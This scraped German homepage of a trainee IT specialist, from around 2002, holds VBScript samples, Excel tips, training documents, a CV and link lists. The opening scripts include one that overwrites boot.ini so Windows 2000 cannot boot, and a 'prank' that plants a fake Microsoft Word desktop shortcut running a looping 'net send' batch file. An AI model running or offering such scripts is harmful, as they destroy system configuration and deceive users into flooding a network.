' Erstellt am 17.12.2001 während meiner Ausbildung zum FI
'Description: Webserverdienst wird für 10 Minuten angehalten und dann wieder gestartet
'##################################################
Dim AktZeit
Dim ZeitPlus
Dim EndZeit
Dim AktZeitControll
Set net = CreateObject("WScript.Network")
' Verbindung zum Webdienst herstellen
Set dienst = GetObject("WinNT://ServerName/w3SVC,service")
' Dienst wird angehalten
dienst.Stop
'Aktuelle Zeit auslesen
AktZeit = Time
'Wann soll Webdienst wieder starten?
Zeitplus = TimeValue("0:10:0")
EndZeit = Zeitplus + AktZeit
'Schleife, die kontrolliert ob die Zeit um ist
Do
'Erneut die Systemzeit auslesen
AktZeitControll = Time
Loop Until AktZeitControll > EndZeit
'Dienst wieder starten
dienst.Start
--------------------------------------------------------------------------------
Dieses Script überschreibt die Boot.ini und der Rechner fährt nicht mehr so ohne weiteres wieder hoch. Zur Sicherheit wird eine Sicherungskopie der Datei erstellt. Bitte vorsichtig bei der Benutzung!
'**********************************************************************
'* Dieses Script dient einzig und allein dazu die BOOT.INI
'* von Windows 2000 zu überschreiben! Also vorsichtig damit umgehen.
'* Der Windows 2000 Computer auf dem dieses Script ausgeführt wird kann
'* nicht mehr hochfahren da in der BOOT.INI nichts mehr steht!!!
'*
'* Für Schäden die dieses Script anrichten kann übernimmt der Autor keine Haftung!
'* Marco B???????ackschat, im Dezember 2001
'*********************************************************************
'Variblen :
Dim fso, MeineDatei, atrib
'Objekterzeugung:
Set fso = CreateObject("Scripting.FileSystemObject")
'Eine Textdatei wird erzeugt und mit Unsinn gefüllt:
Set MeineDatei = fso.CreateTextFile("c:\boot.txt", True)
MeineDatei.WriteLine("Alles weg!!!!!!!")
MeineDatei.Close
'Schreibschutz der Boot.ini wird aufgehoben, "versteckt" Atribut wird aufgehoben
Set atrib = CreateObject("Scripting.FileSystemObject")
Set MeineDatei = atrib.GetFile("c:\boot.ini")
If MeineDatei.attributes and 2 Then
MeineDatei.attributes = MeineDatei.attributes - 2
End If
If MeineDatei.attributes and 1 Then
MeineDatei.attributes = MeineDatei.attributes - 1
End If
If MeineDatei.attributes and 4 Then
MeineDatei.attributes = MeineDatei.attributes - 4
End If
'Sicherheitskopie der Boot.ini wird erstellt.
MeineDatei.Copy "c:\boot.sav"
'Textdatei wird aufgerufen und die boot.ini überschrieben:
Set MeineDatei = fso.GetFile("c:\boot.txt")
MeineDatei.Copy "c:\boot.ini"
--------------------------------------------------------------------------------
Hier noch ein kleiner Schabernack...auf den Desktop wird ein "Word"-Icon kopiert, das eine per VB-Script erstellte *.bat auslöst (Verknüpfung), diese wiederum macht "Net Send" in Schleife! (Download Icon und Script)
Script:
'Variablen
Dim fso, batchdatei, icon, verknuepfung, wordInk
'Objekterzeugung:
Set fso = CreateObject("Scripting.FileSystemObject")
'Batchdatei anlegen und mit Inhalt füllen
Set batchdatei = fso.CreateTextFile("c:\nice.bat", True)
batchdatei.WriteLine("net send * Hi at all! Have a nice day!")
batchdatei.WriteLine("nice.bat")
batchdatei.Close
Set icon = fso.GetFile("winword.ico")
icon.Copy "c:\winword.ico"
'--------------------------------------
Set wshshell = CreateObject("WScript.Shell")
desktop = wshshell.SpecialFolders("Desktop")
Set wordInk = CreateObject("Scripting.FileSystemObject")
Name = desktop & "\Microsoft Word.lnk"
If wordInk.FileE???????xists(Name) Then
Set verknuepfung = wordInk.GetFile(Name)
verknuepfung.Delete
Else
End If
'----------------------------------------
'SYS: Windows Script Host Runtime Library
Set wshshell = CreateObject("WScript.Shell")
desktop = wshshell.SpecialFolders("Desktop")
Name = desktop & "\Microsoft Word.lnk"
Set scut = wshshell.CreateShortcut(Name)
scut.TargetPath = "c:\nice.bat"
scut.WorkingDirectory = "c:\"
scut.IconLocation = "c:\winword.ico,0"
scut.WindowStyle = 2
scut.Save
Excel
Man glaubt es kaum, aber ich hatte mal so viel Zeit das ich es mir erlauben konnte einen (fast) vollautomatischen Turnierplan in Excel zu erstellen, der nur aus WENN, UND und ODER Befehlen besteht.
Beispielzelle:
=WENN(AA42=3,5;WENN(R20>R22;300;WENN(R22>$R20;400;WENN($U20>$U22;300;
WENN($U22>$U20;400;WENN($S20>$S22;300;WENN($S22>$S20;400;1))))));0)
Der Spielplan besteht aus weit über hundert solcher Befehlszeilen, leider habe ich es verpasst
ihn ausreichend zu Dokumentieren, so das ich nicht mehr in der Lage bin zu beschreiben wie er eigentlich funktioniert.
Download spielplan.zip (7 KB)
Weitere Excel's:
Nutzenschwelle (Breakeven) nutzenschwelle.zip (12 KB)
Widerstandsberechnung widerstand.zip (10 KB)
Optimale Bestellmenge opti_menge.zip (7 KB)
Doku's
Hier stelle ich meine Prüfungs- und Quartalsdoku's
zum Download bereit
--------------------------------------------------------------------------------
Remote Access Control, meine Abschlussprüfung: Vergleich_Remote.pdf
Leseprobe meiner Doku zur Zwischenprüfung: doku.pdf
Quartalsbericht, ein Netzwerk: 2Quartalsbericht.pdf
IGP Protokolle RIP und OSPF: rip_ospf.pdf
--------------------------------------------------------------------------------
Downloads
Doku zur Abschlussprüfung:
RemoteDoku.zip (18 MB)
Doku zur Zwischenprüfung:
zwischenpruefung.zip (3,9 MB)
Präsentation Abschlussprüfung:
RemotePraesi.zip (114 KB)
Präsen???????tation Zwischenprüfung:
praesentation.zip (2,6 MB)
Ausbildung
Hier in Kürze was in den 2 Jahren meiner Umschulung vermittelt wurde, Details stehen im Ausbildungsrahmenplan der IHK, der nach dieser Zussammenfassung folgt.
Die Ausbildung war zeitlich in zwei Teile gesplittet, 18 Monate Unterricht und praktische Übungen im Bildungszentrum Turmgasse in Villingen-Schwenningen sowie 5 Monate Praktikum bei der Firma Office Komplett in Wehr.
--------------------------------------------------------------------------------
HARDWARE
Komponenten eines Computers
Peripheriegeräte
Netzwerkhardware
Reparaturdienst der Abteilung Fachinformatiker
SOFTWARE
Betriebssysteme, Serversysteme
Windows 95/98, Windows NT, DOS, Windows 2000
Anwendungsprogramme
Microsoft Office 2000 mit seinen Komponenten:
MS Word
MS Excel
Powerpoint
Frontpage
Corel Draw 10
Corel Photo Paint 10
Windows-Zusatzprogramme ( Wordpad, Notepad, MSPaint usw. )
Partitionierungs- und Konfigurationsprogramme
diverse andere Grafik-, Konvertierungs-, Text-, Html-Bearbeitungsprogramme
PROGRAMMENTWICKLUNG
C++
VB-Script
Visual Basic 6.0
Html (Html-Editor, Frontpage, Dreamweaver)
Java-Script
THEORETISCHE GRUNDLAGEN
Betriebswirtschaft
Rhetorik und Moderationstechnik
Visualisierung und Medieneinsatz
Bewerbungstraining
Digitaltechnik
Netzwerktechnik
Strukturierte Programmierung
ergänzend hierzu 1,5 x wöchentlich Berufsschulunterricht mit den Fächern: Digitaltechnik, Elektrotechnik, Englisch, AWE, IT-Technik
PRAKTISCHE GRUNDLAGEN
Netzwerktechnik:
Netwerkarchitekturen
Windows 2000 Server
Windows NT Server
Novel
Active Directory Service
Distributed File System
Remote Installation Service
Exchange 2000, Outlook 2000
ISA-Server
System Management Server
--------------------------------------------------------------------------------
Hier der Ausbildungsrahmenplan der IHK:
Das Ausbildungsprofil
Fachinformatiker / Fachinformatikerin
Autor
Ein Wenig Info über mich!
-------------------------------------------------------------------------------
Nicht erschrecken, so sehe ich aus:
Hier ein paar "technische" Daten:
Name: Marco Backschat
Geb.: 1966
Familienst.: verh. / 4 Kinder
Wohnort: Rickenbach Hotzenwald
--------------------------------------------------------------------------------
Hier ein Teil meiner Familie:
Meine Kinder Mathias, Stefanie, Darius und Sarah (nach Alter sortiert, die jüngste ist Sarah).
Ausser den vieren habe ich noch eine Tochter die zwischen Stefanie und Darius vom Alter her liegt, leider starb sie 1992, eine Woche vor ihrem ersten Geburtstag. Ein schwerer Schiksalsschlag!
Meine Frau Daniela ist im Esoterik-Bereich tätig, sie legt Karten, gibt Kurse und bietet in ihrer Esoterkpraxis diverse Workshops an.
--------------------------------------------------------------------------------
Kleiner Lebenslauf:
Nach der Hauptschule begann ich eine Ausbildung zum WKS-Isolierer, die ich 1986 als "Innungsdritter" abschloss.
Im Alter von 33 Jahren (2000) startete ich eine Umschulung zum Fachinformatiker mit Fachrichtung Systemintegration, die ich 2002 erfolgreich abgeschlossen habe.
Mein liebstes Hobby ist meine Familie, ausserdem interessiere ich mich für alles rund um den Computer. Man kann behaupten das ich mein Hobby zum Beruf gemacht habe.
"Hallo" auf meiner Homepage
Diese Seiten sollen angehenden, und vielleicht auch schon "fertigen" FI's mit der einen oder anderen Info unter die Arme greifen.
Hier ist nichts Passwort geschützt, bedient Euch!
Natürlich möchte ich ein Stück weit auch Werbung für mich und meinen Beruf machen. Man möchte ja schließlich mit dem Erlernten ein wenig Geld verdienen.
--> Hier deshalb der Hinweis auf meine "Webdesign" - Seiten!
Gerne erstelle ich auch Ihren Internetauftritt oder nehme Änderungen an Ihren bestehenden Seiten vor!
Nehmen Sie einfach Konta???????kt mit mir auf...
Von meinen Kenntissen in Flash oder Scriptprogrammierung können Sie Sich auf den entsprechenden Seiten informieren.
Ich übe den Beruf des Fachinformatikers sehr gerne aus, es gibt wohl nicht so viele Berufe die so ein breites Spektrum wie dieser bieten.
Mein WG-Partner während der Umschulung präsentiert seine Firma www.pc-helper.org
Dr. Word, FI-Seite mit Beschreibung des Donautals www.franzrappel.de
Noch ein FI, mit Hobbys wie Angeln und Backen, Flash und mehr www.fachinformatiker-baum.de
Nicht alle FI's machen einen Erotik-Shop auf, dieser schon... www.dessousmeile.de
Ein Umschulunskumpel der hier seine Selbstständigkeit darstellt
www.baumann-fachinformatik.com
Ein FI, dem in Sachen erotischer Fotographie und Bildbearbeitung keiner so schnell was vormacht..
ATIC-Fotodesign
Infos für FI's www.suicidal.de
Infos für FI's www.azubis-informatik.de
Infos für FI's www.fachinformatiker.de
Webdesign, oder was die Homepage so braucht
Hat den selben Namen wie ich und macht Webdesign...wir sind aber nicht Verwandt www.backschat.de
Die Bibel für Webmaster, oder die, die es mal werden wollen... SELFHTML
Infos über HTML, XML, CSS und mehr www.html-world.de
Hier gibts tolle Scripts www.dynamicdrive.com
Hier gibts noch mehr tolle Scripts... Perl, Javascript, PHP
Kostenloses Gästebuch, Forum etc. www.onetwomax.de
Noch ein kostenloses Gästebuch gb2003.de
Counter Gratis www.andyhoppe.com
Scripts, Bilder, Gifs, alles rund um die Homepage www.feldratte.de
Immer in den Top-Ten der deutschen Webhostercharts www.webhostone.de
Interessantes in Flash
www.flash4all.de
Noch mehr Flash www.flashkit.com
Dies & Das
Pflichtlektüre für FI's...die ct' www.heise.de/ct
Die NT-Anwender-Gruppe, immer interessant www.nt-ag.de
Suchmaschine für W???????arez www.astalavista.com
Hier bin ich aufgewachsen www.wehr.de
Hier wohne ich
www.rickenbach.de
Proxyserver und mehr, habe ich selber laufen....echt super das Teil
www.janaserver.de
Microsoft hat ein nettes Script-Archiv Microsoft Script-Center
Mein Ebay (mich) Beachtet meine Auktionen
Ja, die lieben kleinen hängen auch schon im Netz rum www.toggolino.de
Pippi Langstrumpf gefällig? Meine kleinen Kinder finden die toll...und ich finde die Seiten super gemacht... www.efraimstochter.de
Alles, incl. Menue
Welcome
» Home
» Autor
» Kontakt
» Gästebuch
FI-Kram
» Ausbildung
» Doku's
» Ausbilder
» Praktikumsbetrieb
Webdesign
» Referenzen
» Java-Script
» Flash
» Anim. Gif's
» Bildbearbeitung
Programmierung
» C++
» Visual Basic
» VB-Script
» Excel
Links
» Meine Frau
» Mein Sohn
» Friend's & FI's
» Webdesign
» Dies & Das
Impressum
Impressum
fach-informatiker.com
Wird betrieben und betreut von:
Marco
Backschat
Siedlungsstr.1
D-79736 Rickenbach
Mail to Webmaster
Disclaimer
Disclaimer
1. Inhalt des Online Angebotes
Der Autor übernimmt keinerlei Gewähr für die Aktualität, Korrektheit, Vollständigkeit oder Qualität der bereitgestellten Informationen. Haftungsansprüche gegen den Autor, welche sich auf Schäden materieller oder ideeller Art beziehen, die durch die Nutzung oder Nichtnutzung der dargebotenen Informationen bzw. durch die Nutzung fehlerhafter und unvollständiger Informationen verursacht wurden sind grundsätzlich ausgeschlossen, sofern seitens des Autors kein nachweislich vorsätzliches oder grob fahrlässiges Verschulden vorliegt.
Alle Angebote sind freibleibend und unverbindlich. Der Autor behält es sich ausdrücklich vor, Teile der Seiten oder das gesamte Angebot ohne gesonderte Ankündigung zu veränder???????n, zu ergänzen zu löschen oder die Veröffentlichung zeitweise oder endgültig einzustellen.
2. Verweise und Links
Bei direkten oder indirekten Verweisen auf fremde Internetseiten ("Links"), die außerhalb des Verantwortungsbereiches des Autors liegen, würde eine Haftungsverpflichtung ausschließlich in dem Fall in Kraft treten, in dem der Autor von den Inhalten Kenntnis hat und es ihm technisch möglich und zumutbar wäre, die Nutzung im Falle rechtswidriger Inhalte zu verhindern
Der Autor erklärt daher ausdrücklich, daß zum Zeitpunkt der Linksetzung die entsprechenden verlinkten Seiten frei von illegalen Inhalten waren. Der Autor hat keinerlei Einfluss auf die aktuelle und zukünftige Gestaltung und auf die Inhalte aller gelinkten/verknüpften Seiten. Deshalb distanziert er sich hiermit ausdrücklich von allen Inhalten aller gelinkten/verknüpften Seiten, die nach der Linksetzung verändert wurden. Diese Feststellung gilt für alle innerhalb des eigenen Internetangebotes gesetzten Links und Verweise sowie für Fremdeinträge in vom Autor eingerichteten Gästebüchern, Diskussionsforen und Mailinglisten. Für illegale, fehlerhafte oder unvollständige inhalte und insbesondere für Schäden, die aus der Nichtnutzung oder Nutzung solcherart dargebotener Informationen entstehen, haftet allein der Anbieter der Seite, auf welche verwiesen wurde, nicht derjenige, der über Links auf die jeweilige Veröffentlichung lediglich verweist.
3. Urheber- und Kennzeichenrecht
Der Autor ist bestrebt, in allen Publikationen die Urheberrechte der verwendeten Grafiken, Tondokumente, Videosequenzen und Texte zu beachten, von ihm selbst erstellte Grafiken, Tondokumente, Videosequenzen und Texte zu nutzen oder auf lizenzfreie Grafiken, Tondokumente, Videosequenzen und Texte zurückzugreifen.
Alle innerhalb des Internetangebotes genannten und ggf. durch Dritte geschützten Marken- und Warenzeichen unterliegen uneingeschränkt den Bestimmungen des jeweils gültigen Kennzeichenrechts und den Besitzrechten der jeweiligen eingetragenen Eigentümer. Allein aufg???????rund der bloßen Nennung ist nicht der Schluß zu ziehen, daß Markenzeichen nicht durch Rechte Dritter geschützt sind!
Das Copyright für veröffentlichte, vom Autor selbst erstellte Objekte bleibt allein beim Autor der Seiten. Eine Vervielfältigung oder Verwendung solcher Grafiken, Tondokumente, Viedeosequenzen und Texte in anderen elektronischen oder gedruckten Publikationen ist ohne ausdrückliche Zustimmung des Autors nicht gestattet.
4. Rechtswirksamkeit dieses Haftungsausschlußes
Dieser Haftungsausschluß ist als Teil des Internetangebotes zu betrachten, von dem aus auf diese Seite verwiesen wurde. Sofern Teile oder einzelne Formulierungen dieses Textes der geltenden Rechtslage nicht, nicht mehr oder nicht vollständig entsprechen sollten, bleiben die übrigen Teile des Dokumentes in ihrem Inhalt und ihrer Gültigkeit davon unberührt.
Hinweis: Aus Gründen der Lesbarkeit wurde im Text die männliche Form gewählt, nichtsdestoweniger beziehen sich die Angaben auf Angehörige beider Geschlechter.